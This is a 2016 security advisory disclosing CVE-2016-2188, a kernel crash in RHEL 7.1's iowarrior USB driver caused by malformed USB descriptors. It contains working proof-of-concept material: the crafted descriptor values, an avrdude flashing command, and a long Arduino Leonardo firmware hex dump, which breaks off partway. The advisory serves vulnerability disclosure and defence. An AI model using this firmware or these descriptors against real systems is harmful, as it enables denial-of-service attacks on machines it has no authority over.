

OS-S Security Advisory 2016-15

Linux iowarrior Nullpointer Dereference

Date: March 4th, 2016

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CVE: CVE-2016-2188

CVSS: 4.9 (AV:L/AC:L/Au:N/C:N/I:N/A:C)

Title: Local RedHat Enterprise Linux DoS – RHEL 7.1 Kernel crashes on invalid USB device descriptors (iowarrior driver)

Severity: Critical. The Kernel panics. A reboot is required.

Ease of Exploitation: Trivial

Vulnerability type: Wrong input validation

Products: RHEL 7.1 including all updates

Kernel-Version: 3.10.0-229.20.1.el7.x86_64 (for debugging-purposes we used the CentOS Kernel kernel-debuginfo-3.10.0-229.14.1.el7)

Vendor: Red Hat

Vendor contacted: November, 12th 2015

Abstract:

The Kernel 3.10.0-229.20.1.el7.x86_64 crashes on presentation of a buggy USB device requiring the iowarrior driver.

Detailed product description:

We confirmed the bug on the following system:

- RHEL 7.1
- Kernel 3.10.0-229.20.1.el7.x86_64

Further products or kernel versions have not been tested.

How reproducible: Always

Actual results: Kernel crashes.

Description:

The bug was found using the USB-fuzzing framework vUSBf from Sergej Schumilo (github.com/schumilo) using the following device descriptor:

[*] Device-Descriptor

bLength:	0x12
bDescriptorType:	0x1
bcdUSB:	0x200
bDeviceClass:	0x3
bDeviceSubClass:	0x0
bDeviceProtocol:	0x0
bMaxPacketSize:	0x40
idVendor:	0x7c0
idProduct:	0x1500
bcdDevice:	0x100
iManufacturer:	0x1
iProduct:	0x2
iSerialNumbers:	0x3
bNumConfigurations:	0x1

This is the configuration descriptor containing the malicious value for bNumEndpoints causing the crash. A zero value for bNumEndpoints crashes the system.

[*] Configuration-Descriptor

```

bLength:          0x9
bDescriptorType:  0x2
wTotalLength:     0x27
bNumInterfaces:   0x1
bConfigurationValue: 0x1
iConfiguration:   0x0
bmAttributes:     0x0
bMaxPower:        0x31

```

[*] Interface-Descriptor

```

bLength:          0x9
bDescriptorType:  0x4
bInterfaceNumber: 0x0
bAlternateSetting: 0x0
bNumEndpoints:   0x0
bInterfaceClass:  0x0
bInterfaceSubClass: 0x0
bInterfaceProtocol: 0x0

```

[*] Endpoint-Descriptor:

```

bLength:          0x7
bDescriptorType:  0x5
bEndpointAddress: 0x81
bmAttribut:       0x3
wMaxPacketSize:   0x404
bInterval:        0xc

```

[*] Endpoint-Descriptor:

```

bLength:          0x7
bDescriptorType:  0x5
bEndpointAddress: 0x1
bmAttribut:       0x2
wMaxPacketSize:   0x4
bInterval:        0xc

```

[*] Endpoint-Descriptor:

```

bLength:          0x7
bDescriptorType:  0x5
bEndpointAddress: 0x82
bmAttribut:       0x1
wMaxPacketSize:   0x4
bInterval:        0xc

```

The iowarrior driver assumes that there will be at least one IN-endpoint-descriptor.

If the interface-descriptor contains a zero-value for bNumEndpoints or no IN-endpoint-descriptor is provided, the driver tries to dereference a null-pointer and the kernel crashes:

```

****
$ nm iowarrior.ko.debug | grep iowarrior_probe
00000000000012a0 t iowarrior_probe
$ addr2line -e iowarrior.ko.debug 0x13D4
/usr/src/debug/kernel-3.10.0-229.14.1.el7/linux-3.10.0-229.14.1.el7.x86_64/include/uapi/linux/usb/ch9.h:605
****

**** CentOS-Kernel linux-3.10.0-229.14.1.el7 (includes/uapi/linux/usb/ch9.c)
...
603 static inline int usb_endpoint_maxp(const struct usb_endpoint_descriptor *epd) /* used by iowarrior_probe */
604 {
605     return __le16_to_cpu(epd->wMaxPacketSize); /* Possible Nullpointer Dereference */
606 }

...
****

**** CentOS-Kernel linux-3.10.0-229.14.1.el7 (drivers/usb/misc/iowarrior.c)

```

```

...
790 /* set up the endpoint information */
791 for (i = 0; i < iface_desc->desc.bNumEndpoints; ++i) {
792     endpoint = &iface_desc->endpoint[i].desc;
793
794     if (usb_endpoint_is_int_in(endpoint))
795         dev->int_in_endpoint = endpoint; /* Nullpointer if never set */
796     if (usb_endpoint_is_int_out(endpoint))
797         /* this one will match for the IOWarrior56 only */
798         dev->int_out_endpoint = endpoint;
799 }
800 /* we have to check the report_size often, so remember it in the endianness suitable for our machine */
801 dev->report_size = usb_endpoint_maxp(dev->int_in_endpoint); /* Nullpointer if never set */
802 if ((dev->interface->cur_altsetting->desc.bInterfaceNumber == 0) &&
803     (dev->product_id == USB_DEVICE_ID_CODEMERC5_IOW56))
804     /* IOWarrior56 has wMaxPacketSize different from report size */
805     dev->report_size = 7;
...
****

```

Proof of Concept:

For a proof of concept, we are providing an Arduino Leonardo firmware file. This firmware will emulate the defective USB device.

```
avrdude -v -p ATMEGA32u4 -c avr109 -P /dev/ttyACM0 -b 57600 -U flash:w:binary.hex
```

The firmware has been attached to this bug report.

To prevent the automated delivery of the payload, a jumper may be used to connect port D3 and 3V3!

Severity and Ease of Exploitation:

The vulnerability can be easily exploited. Using our Arduino Leonardo firmware, only physical access to the system is required.

Vendor Communication:

We contacted Red Hat on the November, 12th 2015.

To this day, no security patch was provided by the vendor.

Since our 90-day Responsible Disclosure deadline is expired, we publish this Security Advisory.

References:

- https://bugzilla.redhat.com/show_bug.cgi?id=1283390

Kernel Stacktrace:

```

[ 34.458988] usb 1-1: new full-speed USB device number 2 using xhci_hcd
[ 34.662073] usb 1-1: config 1 interface 0 altsetting 0 has 3 endpoint descriptors, different from the interface
descriptor's value: 0
[ 34.694667] usb 1-1: New USB device found, idVendor=07c0, idProduct=1500
[ 34.701412] usb 1-1: New USB device strings: Mfr=1, Product=2, SerialNumber=3
[ 34.709475] usb 1-1: Product: ĉ
[ 34.713214] usb 1-1: Manufacturer: ĉ
[ 34.717062] usb 1-1: SerialNumber: %
[ 34.779320] BUG: unable to handle kernel NULL pointer dereference at 0000000000000004
[ 34.780026] IP: [<ffffffa03943d4>] iowarrior_probe+0x134/0x4a0 [iowarrior]
[ 34.780026] PGD 0
[ 34.780026] Oops: 0000 [#1] SMP
[ 34.780026] Modules linked in: iowarrior(+) ip6t_rpfilter ip6t_REJECT ipt_REJECT xt_contrack ebttable_nat
ebtable_broute bridge stp llc ebttable_filter ebtables ip6table_nat nf_contrack_ipv6 nf_defrag_ipv6 nf_nat_ipv6
ip6table_mangle ip6table_security ip6table_raw ip6table_filter ip6_tables iptable_nat nf_contrack_ipv4 nf_defrag_ipv4
nf_nat_ipv4 nf_nat nf_contrack iptable_mangle iptable_security iptable_raw iptable_filter ip_tables bochs_drm ppdev
syscopyarea sysfillrect sysimgblt ttm drm_kms_helper drm pcspkr i2c_piix4 i2c_core serio_raw parport_pc parport xfs
libcrc32c sd_mod sr_mod crc_t10dif cdrom crct10dif_common ata_generic pata_acpi ata_piix libata e1000 floppy
dm_mirror dm_region_hash dm_log dm_mod
[ 34.780026] CPU: 0 PID: 2220 Comm: systemd-udevd Not tainted 3.10.0-229.14.1.el7.x86_64 #1
[ 34.780026] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.8.2-0-g33f8e13 by qemu-
project.org 04/01/2014
[ 34.780026] task: ffff88000bcfa220 ti: ffff88000bd20000 task.ti: ffff88000bd20000
[ 34.780026] RIP: 0010:[<ffffffa03943d4>] [<ffffffa03943d4>] iowarrior_probe+0x134/0x4a0 [iowarrior]
[ 34.780026] RSP: 0018:ffff88000bd23b98 EFLAGS: 00010246
[ 34.780026] RAX: 0000000000000000 RBX: ffff88000bd36600 RCX: 0000000000000000

```

```

[ 34.780026] RDX: 0000000000000000 RSI: 0000000000001500 RDI: ffff8800bd36688
[ 34.780026] RBP: ffff8800bd23be0 R08: 000000000016460 R09: ffff8800e401700
[ 34.780026] R10: ffffffff03942d3 R11: ffffffff810020d8 R12: ffff8800c525800
[ 34.780026] R13: ffff8800bcd0090 R14: ffff8800bcd0000 R15: ffff8800f508bc8
[ 34.780026] FS: 00007fb8082b4880(0000) GS:ffff8800fc00000(0000) knlGS:0000000000000000
[ 34.780026] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b
[ 34.780026] CR2: 0000000000000004 CR3: 00000000c448000 CR4: 00000000000006f0
[ 34.780026] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[ 34.780026] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400
[ 34.780026] Stack:
[ 34.780026] ffff8800c525830 ffff8800bd23be0 ffffffff813dfba2 ffff8800af01800
[ 34.780026] ffff8800bcd0090 ffff8800bcd0000 ffffffff03960c8 ffff8800c525830
[ 34.780026] ffffffff0395500 ffff8800bd23c28 ffffffff8141dc04 00000000bd23c00
[ 34.780026] Call Trace:
[ 34.780026] [<ffffffffff813dfba2>] ? __pm_runtime_set_status+0x132/0x210
[ 34.780026] [<ffffffffff8141dc04>] usb_probe_interface+0x1c4/0x2f0
[ 34.780026] [<ffffffffff813d30d7>] driver_probe_device+0x87/0x390
[ 34.780026] [<ffffffffff813d34b3>] __driver_attach+0x93/0xa0
[ 34.780026] [<ffffffffff813d3420>] ? __device_attach+0x40/0x40
[ 34.780026] [<ffffffffff813d0e43>] bus_for_each_dev+0x73/0xc0
[ 34.780026] [<ffffffffff813d2b2e>] driver_attach+0x1e/0x20
[ 34.780026] [<ffffffffff813d2680>] bus_add_driver+0x200/0x2d0
[ 34.780026] [<ffffffffff813d3b34>] driver_register+0x64/0xf0
[ 34.780026] [<ffffffffff8141c1c2>] usb_register_driver+0x82/0x160
[ 34.780026] [<ffffffffffa0399000>] ? 0xffffffffa0398fff
[ 34.780026] [<ffffffffffa039901e>] iowarrior_driver_init+0x1e/0x1000 [iowarrior]
[ 34.780026] [<ffffffffff810020e8>] do_one_initcall+0xb8/0x230
[ 34.780026] [<ffffffffff810dd0ee>] load_module+0x133e/0x1b40
[ 34.780026] [<ffffffffff812f7d60>] ? ddebug_proc_write+0xf0/0xf0
[ 34.780026] [<ffffffffff810d96b3>] ? copy_module_from_fd.isra.42+0x53/0x150
[ 34.780026] [<ffffffffff810ddaa6>] SyS_finit_module+0xa6/0xd0
[ 34.780026] [<ffffffffff81614389>] system_call_fastpath+0x16/0x1b
[ 34.780026] Code: 0c c8 0f b6 41 03 83 e0 03 3c 03 75 da 80 79 02 00 0f 88 10 02 00 00 48 89 4b 40 41 0f b6 47 04
83 c2 01 39 d0 7f cc 48 8b 43 48 <0f> b7 40 04 89 83 c8 00 00 00 49 8b 44 24 08 80 78 02 00 0f 84
[ 34.780026] RIP [<ffffffffffa03943d4>] iowarrior_probe+0x134/0x4a0 [iowarrior]
[ 34.780026] RSP [<ffff8800bd23b98>]
[ 34.780026] CR2: 0000000000000004
[ 35.199537] ---[ end trace b239663354a1c556 ]---
[ 35.205081] Kernel panic - not syncing: Fatal exception
[ 35.206054] drm_kms_helper: panic occurred, switching back to text console

```

Arduino Leonardo Firmware:

```

:10000000C94A8000C94C5000C94C5000C94C50079
:100010000C94C5000C94C5000C94C5000C94C5004C
:100020000C94C5000C94C5000C94C2050C942D04CE
:100030000C94C5000C94C5000C94C5000C94C5002C
:100040000C94C5000C94C5000C94C5000C94C5001C
:100050000C94C5000C94C5000C94C5000C94C940C02C3
:100060000C94C5000C94C5000C94C5000C94C500FC
:100070000C94C5000C94C5000C94C5000C94C500EC
:100080000C94C5000C94C5000C94C5000C94C500DC
:100090000C94C5000C94C5000C94C5000C94C500CC
:1000A0000C94C5000C94C5000C94C50009030C0306
:1000B000FF0203032D032D032D0310031403180364
:1000C0001E0322032D032803000000200080E0077
:1000D000000030401000B0000000000000000000D
:1000E000000000000000004080201104080401020C1
:1000F00040804080080204018040201002011080EE
:1001000010204040040404040404040304050202020217
:100110000403020202020206060606060604040202A0
:100120000204000000002300260029002C002F00FC
:1001300000000000250028002B002E0031000000E8
:100140000000240027002A002D00300000C180811B
:1001500011241FBECFEFDAE0DEBFCDBF15E0A0E077
:10016000B1E0E0EDF3E102C005900D92A436B107D5
:10017000D9F725E0A4E6B5E001C01D92AF37B2077C
:10018000E1F70E94C8000C9402070C940000089547
:10019000CF93DF93CDB7DEB7CD59D1090FB6F89421
:1001A000DEBF0FBECDBF0E949F020E94C70060E06D
:1001B00083E00E942E0361E087E00E942E0361E04D
:1001C00088E00E942E030E9457067E012AE9E20E73

```

:1001D000F11C84E093E0D70111969C938E9389E003
:1001E00094E013969C938E93129782E2E2E1F1E001
:1001F0009E012F5F3F4F6901D90101900D928A95B1
:10020000E1F788E1E4E3F1E0DE01939601900D92DD
:100210008A95E1F782E1ECE4F1E0DE01DB96019002
:100220000D928A95E1F789E0EEE5F1E0DE01A05953
:10023000BF4F01900D928A95E1F72A593F4F99E0FF
:10024000992ED901E92D1D92EA95E9F78E010957FA
:100250001F4F87E0E7E6F1E0D80101900D928A9503
:10026000E1F7BE0160587F4F87E0EEE6F1E0DB0189
:1002700001900D928A95E1F7AE0147585F4F87E0F4
:10028000E5E7F1E0DA0101900D928A95E1F75E0170
:10029000FEE8AF0EB11C86E0ECE7F1E0D50101907D
:1002A0000D928A95E1F7CE01835B9F4FEEE0DC0172
:1002B0001D92EA95E9F7E3E0DC011996EC93F90168
:1002C0009082E4E0D9011196EC93F901DC01292D2B
:1002D00001900D922A95E1F7FE01EC56FF4FDC01EB
:1002E0001B96FC93EE931A971D96BC92AE921C97A8
:1002F0001183008373836283558344830C521109F5
:100300002CE0F80111922A95E9F721E0D80119961D
:100310002C931997FE01E059FF4F01900D929A948A
:10032000E1F7F8019387828761E088E00E94670324
:100330008BE492E00E94630688E892E00E946306E4
:1003400087EC92E00E94630686E093E00E946306D9
:1003500082E493E00E9463068FE793E00E946306C5
:1003600084EA93E00E9463068BEE93E00E946306AA
:1003700083E00E949D03892B09F047C05E01F3E2F0
:10038000AF0EB11C8824839482E1982E84E194E01E
:100390000E946306BF92AF92DF92CF92FF92EF92DC
:1003A0001F928F921F930F932DB73EB722513109A1
:1003B0000FB6F8943EBF0FBE2DBFADB7BEB71196B6
:1003C000FE01FB96892D01900D928A95E1F78DE64D
:1003D00095E00E94010668E873E180E090E00E94E9
:1003E00079028DE695E00E944C0660E087E00E946D
:1003F000670368E873E180E090E00E9479020FB63D
:10040000F894DEBF0FBECD8BFC1CF6AE070E080E0E0
:1004100090E00E947902ACCF1F920F920FB60F921C
:1004200011242F933F938F939F93AF93BF9380910A
:10043000650590916605A0916705B09168053091BA
:10044000640523E0230F2D3720F40196A11DB11D73
:1004500005C026E8230F0296A11DB11D2093640557
:100460008093650590936605A0936705B093680532
:100470008091690590916A05A0916B05B0916C051A
:100480000196A11DB11D8093690590936A05A09303
:100490006B05B0936C05BF91AF919F918F913F9188
:1004A0002F910F900FBE0F901F9018953FB7F894A3
:1004B0008091690590916A05A0916B05B0916C05DA
:1004C00026B5A89B05C02F3F19F00196A11DB11DAF
:1004D0003FBF6627782F892F9A2F620F711D811DCC
:1004E000911D42E0660F771F881F991F4A95D1F72B
:1004F0000895CF92DF92EF92FF92CF93DF936B013B
:100500007C010E945602EB01C114D104E104F10404
:1005100079F00E9456026C1B7D0B683E7340A0F37D
:1005200081E0C81AD108E108F108C851DC4FECCFCE
:10053000DF91CF91FF90EF90DF90CF900895789466
:1005400084B5826084BD84B5816084BD85B58260D8
:1005500085BD85B5816085BDEEE6F0E08081816076
:100560008083E1E8F0E01082808182608083808176
:1005700081608083E0E8F0E0808181608083E1E950
:10058000F0E0808182608083808181608083E0E907
:10059000F0E0808181608083E1ECF0E08081846024
:1005A0008083808182608083808181608083E3ECAE
:1005B000F0E0808181608083E0ECF0E08081826007
:1005C0008083E2ECF0E0808181608083EAE7F0E004
:1005D000808184608083808182608083808181606B
:1005E0008083808180688083089590E0FC0131974A
:1005F000EE30F10590F5EA5AFF4F0C94A90980916D

:1006000080008F7703C0809180008F7D8093800071
:10061000089584B58F7702C084B58F7D84BD089519
:10062000809190008F7707C0809190008F7D03C0EC
:1006300080919000877F809390008958091C00002
:100640008F7703C08091C0008F7D8093C000089594
:100650008091C200877F8093C2000895CF93DF937B
:1006600090E0FC01EA51FF4F2491FC01EC5FFE4F4A
:100670008491882349F190E0880F991FFC01E25C86
:10068000FE4FA591B491805D9E4FFC01C591D49120
:100690009FB7611108C0F8948C91209582238C93A8
:1006A000888182230AC0623051F4F8948C91322FF1
:1006B000309583238C938881822B888304C0F8949F
:1006C0008C91822B8C939FBDF91CF9108950F93D4
:1006D0001F93CF93DF931F92CDB7DEB7282F30E063
:1006E000F901E853FF4F8491F901EA51FF4F14914A
:1006F000F901EC5FFE4F04910023C9F0882321F03B
:1007000069830E94F5026981E02FF0E0EE0FFF1F80
:10071000E05DFE4FA591B4919FB7F8948C91611163
:1007200003C01095812301C0812B8C939FBF0F9034
:10073000DF91CF911F910F910895CF93DF93282FD1
:1007400030E0F901E853FF4F8491F901EA51FF4F7E
:10075000D491F901EC5FFE4FC491CC2391F081114B
:100760000E94F502EC2FF0E0EE0FFF1FEE5DFE4F52
:10077000A591B4912C912D2381E090E021F480E0AB
:1007800002C080E090E0DF91CF910895615030F099
:100790002091F100FC0120830196F8CF289884E68F
:1007A00080937D0508951092E900109271051092D2
:1007B000700590936F0580936E050895FF920F93D7
:1007C0001F93CF93DF93F82E8B01EA01BA01C80182
:1007D0000E94A406F80120E030E08EEF2C173D07C0
:1007E00091F1F7FE02C0A49101C0A0816091700553
:1007F0007091710540916E0550916F0564177507F2
:10080000ACF49091E8009570E1F39091E80092FDCE
:100810001CC0A093F100A0917005B09171051196D4
:10082000AF73BB27AB2B11F48093E800A091700548
:10083000B09171051196B0937105A09370052F5F6B
:100840003F4F3196CBCFC90102C08FEF9FEFDF91B1
:10085000CF911F910F91FF9008951F920F920FB6A5
:100860000F9211246F927F928F929F92AF92BF92BC
:10087000CF92DF92EF92FF920F931F932F933F93AC
:100880004F935F936F937F938F939F93AF93BF9398
:10089000EF93FF93CF93DF93CDB7DEB76297DEBFC1
:1008A000CDBF1092E9008091E80083FF46C168E067
:1008B000CE010A960E94C60382EF8093E8009A85D3
:1008C00097FF05C08091E80080FFCFC03C08EEF4A
:1008D0008093E800892F807609F023C18B858111F0
:1008E00005C01092F1001092F10020C1282F2D7F39
:1008F000213009F41BC1853049F48091E80080FF64
:10090000FCCF8C8580688093E30010C1863009F0AD
:10091000E1C02D8508891989223009F0B3C0EC8423
:100920008E2D90E020917305309174058217930706
:100930000CF09FC00E94D3031F92EF928DE394E0CE
:100940009F938F930E9481068CE0E89E7001112492
:10095000E0917505F0917605EE0DFF1D89E0DE0151
:10096000119601900D928A95E1F7C8010E94D30378
:1009700049E050E0BE016F5F7F4F80E00E94DE03E0
:100980000F900F900F900F90C12CD12C612C712CD7
:1009900033E7A32E34E0B32E4AEA842E44E0942EAB
:1009A000E0917505F0917605EE0DFF1D818590E0D3
:1009B000681679060CF0BAC07F926F92BF92AF9220
:1009C0000E948106E0917505F0917605EE0DFF1D00
:1009D000628573856C0D7D1D49E050E080E00E94CA
:1009E000DE030F900F900F900F9000E010E0E09169
:1009F0007505F0917605EE0DFF1D0284F385E02D5F
:100A0000EC0DFD1D818590E0081719075CF51F931B
:100A10000F939F928F920E948106E0917505F0914D
:100A20007605EE0DFF1D0284F385E02DEC0DFD1D16

:100A3000C801880F991FA485B585A80FB91F4D91CE
:100A40005C910284F385E02DE80FF91F60817181CC
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